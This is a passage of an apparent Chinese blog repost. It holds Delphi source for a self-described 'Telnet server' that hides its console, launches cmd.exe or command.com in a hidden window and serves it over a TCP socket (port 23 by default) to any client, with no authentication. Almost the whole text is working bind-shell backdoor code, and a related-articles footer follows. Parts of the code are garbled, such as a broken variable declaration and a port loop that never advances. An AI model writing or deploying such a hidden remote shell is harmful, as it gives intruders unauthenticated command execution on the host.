    if not Createpipe(ShellStdInPipe, MySession.WritePipeHandle, @Security, 0) then Exit;
    MySession.ProcessHandle := StartShell(ShellStdinPipe, ShellStdOutPipe);
    CloseHandle(ShellStdinPipe);
    CloseHandle(ShellStdOutPipe);
    if MySession.ProcessHandle = NULL then goto Failure;
    MySession.ClientSocket := INVALID_SOCKET;
    Result := True;
    Exit;
    //--------出错处理
    Failure:
    begin
       if ShellStdinPipe <> NULL then CloseHandle(ShellStdinPipe);
       if ShellStdOutPipe <> NULL then CloseHandle(ShellStdOutPipe);
       if MySession.ReadPipeHandle <> NULL then CloseHandle(MySession.ReadPipeHandle);
       if MySession.WritePipeHandle <> NULL then CloseHandle(MySession.WritePipeHandle);
    end;
    end;
    function DoExec(MySocket: TSocket): Bool;
    var
    MySession: TMySessionRecord;
    Security: TSecurityAttributes;
    ThreadId: DWORD;
    HandleArray: array[0..2] of THANDLE;
    i: integer;
    begin
    Result := False;
    FillChar(Security, sizeof(TSecurityAttributes), #0);
    Security.nLength := sizeof(TSecurityAttributes);
    Security.lpSecurityDescriptor := nil;
    Security.bInheritHandle := TRUE;
    CreateSession(MySession); {创建对象}
    MySession.ClientSocket := MySocket;
    MySession.ReadShellThreadHandle := CreateThread(
       @Security,
       0,
       @SessionReadShellThreadFn,
       @MySession,
       0,
       ThreadId
       );
    if MySession.ReadShellThreadHandle = NULL then
    begin
       MySession.ClientSocket := INVALID_SOCKET;
       Exit;
    end;
    MySession.WriteShellThreadHandle := CreateThread(
       @Security,
       0,
       @SessionWriteShellThreadFn,
       @MySession,
       0,
       ThreadId
       );
    if MySession.WriteShellThreadHandle = NULL then
    begin
       MySession.ClientSocket := INVALID_SOCKET;
       TerminateThread(MySession.WriteShellThreadHandle, 0);
       Exit;
    end;
    HandleArray[0] := MySession.ReadShellThreadHandle;
    HandleArray[1] := MySession.WriteShellThreadHandle;
    HandleArray[2] := MySession.ProcessHandle;
    i := WaitForMultipleObjects(3, @HandleArray, FALSE, $FFFFFFFF);
    case i of
       WAIT_OBJECT_0 + 0:
         begin
           TerminateThread(MySession.WriteShellThreadHandle, 0);
           TerminateProcess(MySession.ProcessHandle, 1);
         end;
       WAIT_OBJECT_0 + 1:
         begin
           TerminateThread(MySession.ReadShellThreadHandle, 0);
           TerminateProcess(MySession.ProcessHandle, 1);
         end;
       WAIT_OBJECT_0 + 2:
         begin
           TerminateThread(MySession.WriteShellThreadHandle, 0);
           TerminateThread(MySession.ReadShellThreadHandle, 0);
         end;
    else ;
    end;
    closesocket(MySession.ClientSocket);
    DisconnectNamedPipe(MySession.ReadPipeHandle);
    CloseHandle(MySession.ReadPipeHandle);
    DisconnectNamedPipe(MySession.WritePipeHandle);
    CloseHandle(MySession.WritePipeHandle);
    CloseHandle(MySession.ReadShellThreadHandle);
    CloseHandle(MySession.WriteShellThreadHandle);
    CloseHandle(MySession.ProcessHandle);
    Result := True;
    end;
    function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE;
    var
    ProcessInf TProcessInformation;
    si: TStartUpInfo;
    ProcessHandle: THANDLE;
    begin
    //
    // Initialize process startup info
    //
    FillChar(si, Sizeof(TStartUpInfo), #0);
    si.cb := sizeof(si);
    si.lpReserved := nil;
    si.lpTitle := nil;
    si.lpDesktop := nil;
    si.dwYSize := 0;
    si.dwXSize := 0;
    si.dwY := 0;
    si.dwX := 0;
    si.wShowWindow := SW_HIDE;
    si.lpReserved2 := nil;
    si.cbReserved2 := 0;
    //使用指定的句柄作为标准输入输出的文件句柄,使用指定的显示方式
    si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
    si.hStdInput := ShellStdinPipeHandle;
    si.hStdOutput := ShellStdoutPipeHandle;
    DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle,
       GetCurrentProcess(), @si.hStdError,
       DUPLICATE_SAME_ACCESS, TRUE, 0);
    if (CreateProcess(nil, cmdline, nil, nil, TRUE, 0, nil, nil,
       si, ProcessInfo)) then
    begin
       ProcessHandle := ProcessInfo.hProcess;
       CloseHandle(ProcessInfo.hThread);
    end
    else
       ; //Showmessage('error');
    Result := ProcessHandle;
    end;
    procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; {从控制台读取信息并发送到客户端}
    var
    MySession: TMySessionRecord;
    Buffer1: array[0..199] of char;
    Buffer2: array[0..229] of char;
    BytesRead: DWORD;
    BufferCnt, BytesToWrite: DWORD;
    PrevChar: char;
    begin
    MySession := TMySessionRecord(Parameter^);
    while (PeekNamedPipe(MySession.ReadPipeHandle, @Buffer1, sizeof(Buffer1), @BytesRead, nil, nil)) do
    begin
       PrevChar := #0;
       if BytesRead > 0 then ReadFile(MySession.ReadPipeHandle, Buffer1, sizeof(Buffer1), BytesRead, nil)
       else begin Sleep(50); continue; end;
       BufferCnt := 0;
       BytesToWrite := 0;
       while BufferCnt < BytesRead do
       begin
         if (Buffer1[BufferCnt] = #10) and (PrevChar <> #13) then
         begin
           Buffer2[BytesToWrite] := #13;
           inc(BytesToWrite);
         end;
         Buffer2[BytesToWrite] := Buffer1[BufferCnt];
         inc(BytesToWrite);
         PrevChar := Buffer2[BytesToWrite];
         inc(BufferCnt);
       end;
       if (send(MySession.ClientSocket, Buffer2, BytesToWrite, 0) <= 0) then break;
    end;
    if (GetLastError() <> ERROR_BROKEN_PIPE) then ; //Showmessage('Error!');
    ExitThread(0);
    end;
    procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; {接收网络指令并写入控制台}
    var
    MySession: TMySessionRecord;
    RecvBuffer: array[0..0] of Char;
    Buffer: array[0..199] of Char;
    EchoBuffer: array[0..4] of Char;
    BytesWritten: DWORD;
    BufferCnt, EchoCnt: DWORD;
    strBye: string;
    begin
    MySession := TMySessionRecord(Parameter^);
    BufferCnt := 0;
    while (recv(MySession.ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) <> 0) do
    begin
       EchoCnt := 0;
       EchoBuffer[EchoCnt] := RecvBuffer[0];
       Buffer[BufferCnt] := EchoBuffer[EchoCnt];
       Inc(EchoCnt); Inc(BufferCnt);
       if Pos('bye', Buffer) > 0 then
       begin
         strBye := #13#10 + '谢谢使用!再见!' + #13#10;
         send(MySession.ClientSocket, strBye[1], length(strBye), 0);
         ExitThread(0);
       end;
       if (RecvBuffer[0] = #10) or (RecvBuffer[0] = #13) then
       begin
         if (not WriteFile(MySession.WritePipeHandle, Buffer, BufferCnt,
           BytesWritten, nil)) then
         begin
           break;
         end;
         BufferCnt := 0;
       end;
    end;
    ExitThread(0);
    end;
    function BindSocket(port: integer; var MyServerSocket: TSOCKET): Bool;
    var
    server: sockaddr_in;
    i: integer;
    begin
    Result := False;
    MyServerSocket := socket(AF_INET, SOCK_STREAM, 0);
    if (MyServerSocket < 0) then Exit; //Failed to Socket()
    for i := port to 65535 do
    begin
       server.sin_family := AF_INET;
       server.sin_port := htons(port);
       server.sin_addr.s_addr := INADDR_ANY;
       if (bind(MyServerSocket, server, sizeof(server)) = 0) then break;
    end;
    if (MyServerSocket = INVALID_SOCKET) then Exit; //Failed to Bind()
    if (listen(MyServerSocket, 1) <> 0) then Exit; //Failed to Listen()
    Result := True;
    end;
    function SystemIsNT: Boolean;
    var
    OSVersionInf TOSVersionInfo;
    begin
    OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
    GetVersionEx(OSVersionInfo);
    Result := OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT;
    end;
    var
    wsa: WSADATA;
    RecvPort, iCode: integer;
    ServerSocket: TSocket;
    client: sockaddr_in;
    RecvSock: integer;
    namelen: integer;
    strWelcome: string;
    strPort: string;
    begin
    FreeConsole();
    if (WSAStartup(MAKEWORD(1, 1), wsa) <> 0) then
    begin
       //Showmessage('Windows socket version is unmatching.');
       Exit;
    end;
    strPort := ParamStr(1);
    Val(strPort, RecvPort, iCode);
    if iCode <> 0 then RecvPort := 23;
    if not BindSocket(RecvPort, ServerSocket) then
    begin
       //Showmessage('Failed to bind port.');
       Exit;
    end;
    namelen := sizeof(client);
    RecvSock := accept(ServerSocket, @client, @namelen);
    if (RecvSock = -1) then
       //Showmessage('Failed to listen port.') //Failed to Accept()
    else
    begin
       strWelcome := #13 + #10 + '-------------------------------------------' + #13#10#13#10;
       send(RecvSock, strWelcome[1], length(strWelcome), 0);
       strWelcome := ' Telnet服务器V1.0(for 98/me/nt/2K/xp) ' + #13#10;
       send(RecvSock, strWelcome[1], length(strWelcome), 0);
       strWelcome := #13#10;
       send(RecvSock, strWelcome[1], length(strWelcome), 0);
       strWelcome := ' 输入bye退出程序.' + #13#10#13#10;
       send(RecvSock, strWelcome[1], length(strWelcome), 0);
       send(RecvSock, strWelcome[1], length(strWelcome), 0);
       strWelcome := '                  http://www.138soft.com. ' + #13#10#13#10;
       send(RecvSock, strWelcome[1], length(strWelcome), 0);
       strWelcome := '-------------------------------------------' + #13#10#13#10;
       send(RecvSock, strWelcome[1], length(strWelcome), 0);
       if SystemIsNT then cmdline := 'cmd.exe'
       else cmdline := 'command.com';
       doexec(RecvSock);
    end;
    WSACleanup();
    end.
    ----------------------------------------------
    冷静的思考问题
    充满激情的工作

  • 相关阅读:
    图像的加载与保存
    numpy初学
    深入精通JavaScript插件
    Python图像处理库:Pillow 初级教程
    PIL包的应用
    UIWebView的离线缓存
    UITableView优化技巧
    UIKit Dynamics入门
    CALayer 一些重要属性
    一个Demo展示Storyboard的强大
  • 原文地址:https://www.cnblogs.com/railgunman/p/1873118.html
Copyright © 2020-2023  润新知